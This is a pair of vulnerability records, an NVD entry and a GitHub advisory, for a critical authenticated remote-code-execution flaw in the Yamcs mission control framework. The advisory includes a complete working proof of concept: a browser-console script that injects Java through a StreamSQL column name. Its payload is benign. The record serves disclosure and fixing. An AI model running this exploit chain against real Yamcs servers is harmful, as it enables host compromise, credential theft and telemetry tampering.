{
  "affected": [
    {
      "affectedData": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.13.0, \u003c 5.13.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs allows a user with SystemPrivilege.ControlArchiving to create a double-quoted StreamSQL column name that is interpolated into generated Java source by Expression.fillCode_InputDefVars and Expression.sanitizeName. A sum aggregate reaches yamcs-core/src/main/java/org/yamcs/yarch/streamsql/CompilableAggregateExpression.java and yamcs-core/src/main/java/org/yamcs/yarch/streamsql/funct/SumExpression.java through SelectExpression.compile, where Janino SimpleCompiler.cook compiles the injected source. POST /api/archive/{instance}:executeSql can therefore execute arbitrary Java in the Yamcs server process, exposing mission data and credentials and permitting telemetry tampering or denial of service. This issue is fixed in versions 5.12.8 and 5.13.2."
    }
  ],
  "id": "CVE-2026-55511",
  "lastModified": "2026-08-28T20:18:27.947",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-28T20:18:27.947",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/8c1070b12c0a6c003903325cb2a1013347e2dbde"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/b65a3d78178ba99a58b753feda6ecc3b5a694f13"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-3g44-3m7x-cgg2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:06:56Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Overview\n\nYamcs compiles StreamSQL expressions to Java on the fly with the Janino `SimpleCompiler` (no restrictive class-loading policy or expression sandbox). When a StreamSQL aggregate such as `sum(...)` is applied to a **column**, the column\u0027s *name* is interpolated **unescaped** into the generated Java source. Because Yamcs accepts arbitrary characters in a double-quoted column identifier and applies no validation when a column is created, an authenticated user with the `ControlArchiving` system privilege can craft a column name that injects arbitrary Java into the compiled aggregate and achieve Remote Code Execution on the Yamcs host via `POST /api/archive/{instance}:executeSql`.\n\nThis is a second, independent Janino-RCE entry point sharing the root cause of CVE-2026-44632 (GHSA-524g-x36v-9wm6). The 5.13.0 / 5.12.7 fix for CVE-2026-44632 hardened only the algorithm-override path (`JavaExprAlgorithmExecutionFactory`, reached via `MdbOverrideApi` and gated by `ChangeMissionDatabase`). The StreamSQL expression compiler (`org.yamcs.yarch.streamsql`) was not addressed and remains exploitable in 5.13.0 via a **different privilege** (`ControlArchiving`).\n\n## Impact\n\nAn authenticated Yamcs user holding `SystemPrivilege.ControlArchiving` can cause Yamcs to compile attacker-controlled Java source through the StreamSQL aggregate expression compiler reachable from `POST /api/archive/{instance}:executeSql`.\n\nThe injected code executes inside the Yamcs server JVM with the privileges of the Yamcs server process, bypassing the Yamcs authorization model. Because this is ordinary Java execution, dangerous JDK APIs such as filesystem access, process execution, reflection, and class loading are reachable unless externally sandboxed. This allows compromise of confidentiality, integrity, and availability of the Yamcs deployment: access to mission data and credentials available to the process, telemetry/archive tampering, denial of service, and lateral movement from the host environment.\n\n`ControlArchiving` is the archive/table/stream management privilege \u2014 distinct from both superuser access and the `ChangeMissionDatabase` privilege used by the previously fixed algorithm-override Janino issue (CVE-2026-44632). Scope is scored as Changed because execution crosses from an authenticated Yamcs API privilege into arbitrary code execution under the server process / host OS authority, outside the privileges granted to the authenticated Yamcs user (consistent with the maintainer\u0027s S:C scoring of the sibling CVE-2026-44632).\n\n## Technical Details\n\n### The sink: unsandboxed Janino compilation of generated Java\n\n`org.yamcs.yarch.streamsql.CompilableAggregateExpression#getCompiledAggregate()` builds a Java source string and compiles it with Janino, with no restrictive ClassLoader and no class/API allowlist:\n\n```java\n// org/yamcs/yarch/streamsql/CompilableAggregateExpression.java:26-50\nString className = \"AggregateExpression\" + counter.incrementAndGet();\nStringBuilder code = new StringBuilder();\ncode.append(\"package org.yamcs.yarch;\\n\")\n        .append(\"public class \" + className + \" implements CompiledAggregateExpression {\\n\");\naggregateFillCode_Declarations(code);\ncode.append(\"\\tpublic void newData(Tuple tuple) {\\n\");\naggregateFillCode_newData(code);                  // \u003c-- attacker-controlled column name lands here\ncode.append(\"\\t}\\n\");\ncode.append(\"\\tpublic Object getValue() {\\n\");\naggregateFillCode_getValue(code);\ncode.append(\"\\t}\\n\");\n...\nSimpleCompiler compiler = new SimpleCompiler();   // generated source is compiled without a restrictive sandbox\ncompiler.cook(code.toString());                   // compiles attacker-influenced Java source\n```\n\n### The injection: column name interpolated unescaped\n\n`SumExpression#aggregateFillCode_newData` emits, inside `newData(Tuple tuple)`, a declaration for each input column followed by `sum += col\u003ccolumnName\u003e`:\n\n```java\n// org/yamcs/yarch/streamsql/funct/SumExpression.java:38-42\nprotected void aggregateFillCode_newData(StringBuilder code) throws StreamSqlException {\n    fillCode_InputDefVars(inputDef.getColumnDefinitions(), code);   // emits the column declaration\n    code.append(\"\\t\\tsum+=col\" + children[0].getColumnName());      // emits the column identifier again\n    code.append(\";\\n\");\n}\n```\n\n`fillCode_InputDefVars` interpolates the column name into a Java identifier with only `sanitizeName` applied, and again \u2014 raw \u2014 into a `tuple.getColumn(\"...\")` string literal:\n\n```java\n// org/yamcs/yarch/streamsql/Expression.java:134-145\nString javaColIdentifier = \"col\" + sanitizeName(cd.getName());\n...\ncode.append(\"\\t\\t\" + dtype.javaType() + \" \" + javaColIdentifier +\n        \" =  (\" + dtype.javaType() + \")tuple.getColumn(\\\"\" + cd.getName() + \"\\\");\\n\");\n\n// Expression.java:237-238  \u2014 the ONLY transformation applied to the column name:\nstatic String sanitizeName(String s) {\n    return s.replace(\"/\", \"_\").replace(\"-\", \"_\");\n}\n```\n\n`sanitizeName` maps only `/` and `-` to `_`. Every other character \u2014 `;`, spaces, `(` `)` `{` `}` `[` `]`, `=`, `.`, `+`, `,`, digits \u2014 passes through verbatim into the generated Java.\n\nThe exploitable context is the Java **identifier** `col\u003cname\u003e`. The same method also emits the raw column name into a Java string literal used by `tuple.getColumn(\"...\")` (Expression.java:140/144). This string-literal context is not required for the exploit shown here, but it should still be escaped with `ValueExpression.escapeJavaString`, because it is another instance of raw user-controlled text emitted into generated Java source (including Java escape-sequence edge cases) and is therefore an additional source-generation hazard, not a closed surface. (`ValueExpression.escapeJavaString` is correctly applied to *value literals* such as `WHERE x = \u0027...\u0027`; function names are separately whitelisted by `FunctionExpressionFactory`. The unfixed gap is the column **identifier**.)\n\n### Why the column name is fully attacker-controlled\n\nThe StreamSQL grammar accepts any character except newline / CR / double-quote in a double-quoted identifier, and returns the raw inner content:\n\n```\n// org/yamcs/yarch/streamsql/StreamSql.jj:237 and :931\n\u003c S_DOUBLE_QUOTED_IDENTIFIER: \"\\\"\" (~[\"\\n\",\"\\r\",\"\\\"\"])* \"\\\"\" \u003e\n\u003cS_DOUBLE_QUOTED_IDENTIFIER\u003e {String s1 = token.image; return s1.substring(1, s1.length() - 1);}\n```\n\n`ObjectName()` (used for column names in `CREATE TABLE` / `CREATE STREAM`) accepts this token, and neither `org.yamcs.yarch.ColumnDefinition` nor `TupleDefinition.addColumn` validates the characters of a column name (only a duplicate-name check). So `CREATE TABLE evil(\"\u003carbitrary text\u003e\" double, ...)` creates a column whose name is attacker-chosen text.\n\n### Why the bare-expression compiler is NOT exploitable, but the aggregate compiler IS\n\nThe general expression compiler `Expression#compile()` emits the column identifier in two contexts \u2014 a statement-context declaration *and* the `return col\u003cname\u003e;` expression. A payload carrying executable statements (`;`-separated) makes the code after the `return` unreachable, which Janino rejects (\"Statement is unreachable\"); a payload without `;` cannot carry a side effect. That accidental barrier makes the bare-column path non-exploitable.\n\nThe **aggregate** path is different and exploitable: in `SumExpression`, both emissions of the column name live inside `newData(Tuple tuple)` \u2014 a `void`, statement-context method \u2014 and `getValue()` returns the accumulator `sum`, **never** the column. There is no expression-context `return col\u003cname\u003e` and no unconditional `return` before the injected statements, so a `;`-separated, fully reachable payload compiles cleanly.\n\n### Reachability: `executeSql` reaches the aggregate compiler without the bare-path gate\n\n`POST /api/archive/{instance}:executeSql` \u2192 `TableApi.executeSql` (gate `ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving)`, TableApi.java:398-399) \u2192 `ydb.execute(ydb.createStatement(statement))` \u2192 `SelectExpression.compile()`.\n\nCrucially, when an aggregate\u0027s argument is a **plain column** (not a computed expression), Yamcs sets `aggInputList = null`, which **skips** the bare `Expression#compile()` of the input expression that would otherwise throw on a `;`-laden name:\n\n```java\n// org/yamcs/yarch/streamsql/SelectExpression.java:196-215\nboolean hasComputations = false;\nfor (AggregateExpression aggExpr : aggList) {\n    ...\n    for (Expression expr : aggExpr.children) {\n        expr.bind(inputDef);\n        ...\n        if (!(expr instanceof ColumnExpression)) {\n            hasComputations = true;        // only true for sum(y+3)-style computed args\n        }\n    }\n}\nif (!hasComputations) {                    // sum(\"\u003cplaincolumn\u003e\") =\u003e true\n    aggInputDef = null;\n    aggInputList = null;                   // =\u003e the bare compile below is skipped\n}\n...\n// compile() (SelectExpression.java:241-252):\nif (aggInputList != null) { for (Expression e : aggInputList) caggInputList.add(e.compile()); }  // SKIPPED\n...\nfor (AggregateExpression aexpr : aggList) { caggList.add(aexpr.getCompiledAggregate()); }         // REACHED -\u003e RCE\n```\n\nSo `SELECT sum(\"\u003cmalicious column\u003e\") FROM \u003ctable-with-that-column\u003e` reaches `getCompiledAggregate()` directly. The compiled aggregate\u0027s `newData()` runs for each processed tuple, executing the injected code.\n\n### Runtime end-to-end verification (real Yamcs 5.13.0, security enabled, `ControlArchiving`-only user)\n\nThe full chain was confirmed end-to-end against a **real, security-enabled Yamcs 5.13.0 server** (the official Yamcs quickstart, server banner `Yamcs 5.13.0, build 8bf5af6fe227bbf8ead15e60644b7ddbf345d623`, instance `myproject`, `YamlAuthModule` with `enabled: true`). Anonymous access was rejected (`GET /api/instances` \u2192 `401`), confirming security was actually on. A non-superuser account `archiver` was created holding **only** `SystemPrivilege.ControlArchiving`, and a second account `nobody` with no privileges.\n\nThe injected payload is a benign `java.io.File(...).mkdirs()` whose path is built from char codes so the StreamSQL column name needs no `\"` or `/`:\n\n```text\ndummy; new java.io.File(new String(new char[]{\u003ccodes for the marker path\u003e})).mkdirs(); coldummy=coldummy\n```\n\nFor a `double` column this drives `SumExpression.getCompiledAggregate()` to generate and compile (real Janino) the following class, whose `newData(Tuple)` runs per processed row:\n\n```java\npackage org.yamcs.yarch;\npublic class AggregateExpressionN implements CompiledAggregateExpression {\n    double sum;\n    public void newData(Tuple tuple) {\n        Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy =  (Double)tuple.getColumn(\"dummy; new java.io.File(...).mkdirs(); coldummy=coldummy\");\n        sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;\n    }\n    public Object getValue() { return sum; }\n    public void clear() { sum=0; }\n}\n```\n\nPositive case \u2014 the `archiver` user (token obtained via `POST /auth/token`, `grant_type=password`). `GET /api/user` confirms `\"superuser\": false`, `\"roles\":[{\"name\":\"ArchiverOnly\"}]`, `\"systemPrivileges\":[\"ControlArchiving\"]`. Driving the three statements over `POST /api/archive/myproject:executeSql`:\n\n```text\n== CREATE ==  create table \u003crnd\u003e(\"\u003ccol\u003e\" double, id int, primary key(id))\n{ }                                                                  HTTP 200   # malicious column name accepted, unvalidated\n\n== INSERT ==  insert into \u003crnd\u003e(id, \"\u003ccol\u003e\") values(1, 1.0)\n{ \"columns\":[{\"name\":\"inserted\",\"type\":\"LONG\"}],\n  \"rows\":[{\"values\":[{\"type\":\"SINT64\",\"sint64Value\":\"1\"}]}] }       HTTP 200\n\n== SELECT SUM ==  select sum(\"\u003ccol\u003e\") from \u003crnd\u003e\n{ \"columns\":[{\"name\":\"SumExpression0x6fd4b7e1d\",\"type\":\"DOUBLE\"}],\n  \"rows\":[{\"values\":[{\"type\":\"DOUBLE\",\"doubleValue\":1.0}]}] }       HTTP 200    # aggregate compiled + executed\n\n== marker check on the Yamcs host ==\nRCE-CONFIRMED (archiver/ControlArchiving): /tmp/yamcs-rce-sec-\u003cid\u003e created\n```\n\nNegative case \u2014 the `nobody` user (no privileges) against the same endpoint:\n\n```text\n== executeSql as nobody ==\n{ \"code\": 403, \"type\": \"ForbiddenException\",\n  \"msg\": \"Missing system privilege \u0027ControlArchiving\u0027\" }            HTTP 403\n```\n\nThis establishes both halves at runtime: a non-superuser holding **only** `ControlArchiving` reaches the compiler and executes injected Java in the Yamcs JVM (the marker directory is created on the host), while a user without the privilege is rejected with `403` at exactly the `ControlArchiving` check. The `select sum(...)` compiled `SumExpression` through the real engine and ran the injected `newData()` for the inserted row. The trailing `coldummy=coldummy` is a valid assignment statement in both emission positions, so there is no \"unreachable statement\" and no \"must return a value\" \u2014 the constraints that block the bare-column path do not apply inside `newData`.\n\n## Reproduction\n\nPre-condition: an account holding `SystemPrivilege.ControlArchiving` on the target Yamcs instance. The privilege boundary is both source-confirmed (the `ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving)` gate in `TableApi.executeSql`, TableApi.java:398-399) and runtime-confirmed (a `ControlArchiving`-only non-superuser succeeds; a user without it gets `403 ForbiddenException \"Missing system privilege \u0027ControlArchiving\u0027\"`).\n\n### Step 1 \u2014 Trigger code execution via a malicious StreamSQL column name\n\nOpen DevTools (F12) \u2192 Console as a logged-in operator with `ControlArchiving`, set `INSTANCE`, and paste:\n\n```js\n// Run in the browser console of a logged-in Yamcs operator holding the ControlArchiving privilege.\n// Demonstrates arbitrary JVM code execution on the Yamcs host via a malicious StreamSQL column name.\n// Benign proof: creates a marker directory on the host. More destructive OS-command payloads are\n// intentionally omitted \u2014 do NOT escalate beyond this proof.\nconst INSTANCE = \"myproject\";                       // \u003c-- set to a real instance name\nconst API = location.origin + \"/api/archive/\" + INSTANCE + \":executeSql\";\n\n// build `new String(new char[]{..})` so the payload needs no \" or /\nconst jchars = s =\u003e \"new String(new char[]{\" + [...s].map(c =\u003e c.charCodeAt(0)).join(\",\") + \"})\";\nconst MARKER = \"/tmp/yamcs-rce-poc-\" + Date.now();   // marker the injected Java will create\nconst col = \"dummy; new java.io.File(\" + jchars(MARKER) + \").mkdirs(); coldummy=coldummy\";\nconst TABLE = \"rcepoc_\" + Date.now();                // unique table name so re-runs don\u0027t collide\nconst q = s =\u003e \u0027\"\u0027 + s + \u0027\"\u0027;                        // double-quote a StreamSQL identifier\nconst run = stmt =\u003e fetch(API, {\n  method: \"POST\", credentials: \"include\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({ statement: stmt }),\n}).then(r =\u003e r.text());\n\n(async () =\u003e {\n  console.log(\"create:\", await run(`create table ${TABLE}(${q(col)} double, id int, primary key(id))`));\n  console.log(\"insert:\", await run(`insert into ${TABLE}(id, ${q(col)}) values(1, 1.0)`));\n  console.log(\"select sum (compiles aggregate -\u003e runs newData):\", await run(`select sum(${q(col)}) from ${TABLE}`));\n  console.log(`Now check the Yamcs host: directory ${MARKER} exists =\u003e arbitrary code executed (RCE).`);\n})();\n```\n\nExpected result: the three statements succeed and the directory `/tmp/yamcs-rce-poc-\u003ctimestamp\u003e` is created on the Yamcs host, demonstrating arbitrary Java execution. (The `select` compiles `SumExpression.getCompiledAggregate()` and runs the injected `newData()` for the inserted row.) Observed against a security-enabled Yamcs 5.13.0 as a `ControlArchiving`-only user:\n\n```text\ncreate: {}\ninsert: {\"columns\":[{\"name\":\"inserted\",\"type\":\"LONG\"}],\"rows\":[{\"values\":[{\"type\":\"SINT64\",\"sint64Value\":\"1\"}]}]}\nselect sum (compiles aggregate -\u003e runs newData): {\"columns\":[{\"name\":\"SumExpression0x...\",\"type\":\"DOUBLE\"}],\"rows\":[{\"values\":[{\"type\":\"DOUBLE\",\"doubleValue\":1.0}]}]}\n=\u003e /tmp/yamcs-rce-poc-\u003ctimestamp\u003e created on the Yamcs host =\u003e arbitrary code executed (RCE).\n```\n\nThe marker directory is owned by the Yamcs service account (in the quickstart container this appeared as `root:root`; on a normal deployment it is owned by the Yamcs service user). The marker-directory proof uses `java.io.File#mkdirs()` as a non-destructive side effect; because the injected code is compiled as ordinary Java inside the Yamcs JVM without a restrictive sandbox, this primitive is sufficient to demonstrate arbitrary Java execution. More destructive OS-command payloads are intentionally omitted.\n\n## Suggested Fix\n\nThe column identifier must never be interpolated unescaped into generated Java. Options, in order of robustness:\n\n1. **Do not place the column name in identifier position at all.** Generate synthetic identifiers (`col0`, `col1`, \u2026) for input columns and map them to real names only through the `tuple.getColumn(\"...\")` string argument (which should itself be escaped with the existing `ValueExpression.escapeJavaString`). This removes the entire class of column-name code injection across `Expression`, `ColumnExpression`, the aggregate expressions, etc.\n2. **Validate column identifiers at creation.** Reject column names that are not valid identifiers (e.g. `[A-Za-z_][A-Za-z0-9_]*`, optionally `.`-separated for protobuf fields) in `CREATE TABLE` / `CREATE STREAM` and in `ColumnDefinition`/`TupleDefinition`. `sanitizeName` mapping only `/` and `-` is insufficient.\n3. **Sandbox or restrict the Janino compilation** so generated StreamSQL expressions cannot access dangerous JDK APIs such as process execution, filesystem, reflection, or class loading \u2014 defence-in-depth that also hardens the algorithm/calibrator compilers behind `ChangeMissionDatabase`.\n\nOption 1 is recommended; it fixes the root cause for all expression types, not just `sum`.\n\n## Distinction from CVE-2026-44632\n\nThis is **not a duplicate** of CVE-2026-44632 / GHSA-524g-x36v-9wm6. That advisory covers the mission-database *algorithm* path (`JavaExprAlgorithmExecutionFactory`), reached through the MDB-override APIs and gated by `SystemPrivilege.ChangeMissionDatabase`. This report covers a separate **StreamSQL expression-compiler** path (`org.yamcs.yarch.streamsql`), reached through `POST /api/archive/{instance}:executeSql` and gated by a *different* privilege, `SystemPrivilege.ControlArchiving`. The 5.13.0 / 5.12.7 fix for CVE-2026-44632 did not touch the StreamSQL compiler, so this entry point remains exploitable at 5.13.0.\n\nThis should also not be treated as accepted risk for the algorithm subsystem. StreamSQL is a query language for archive/table/stream operations, not a documented arbitrary-Java extension point; the maintainer\u0027s \"algorithms are code\" residual applies only to the algorithm compilers behind `ChangeMissionDatabase`. The vulnerable behaviour comes from unescaped column-name interpolation into generated Java source \u2014 an implementation flaw, not an intended capability.",
  "id": "GHSA-3g44-3m7x-cgg2",
  "modified": "2026-08-28T17:06:56Z",
  "published": "2026-08-28T17:06:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-3g44-3m7x-cgg2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/8c1070b12c0a6c003903325cb2a1013347e2dbde"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/b65a3d78178ba99a58b753feda6ecc3b5a694f13"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql`"
}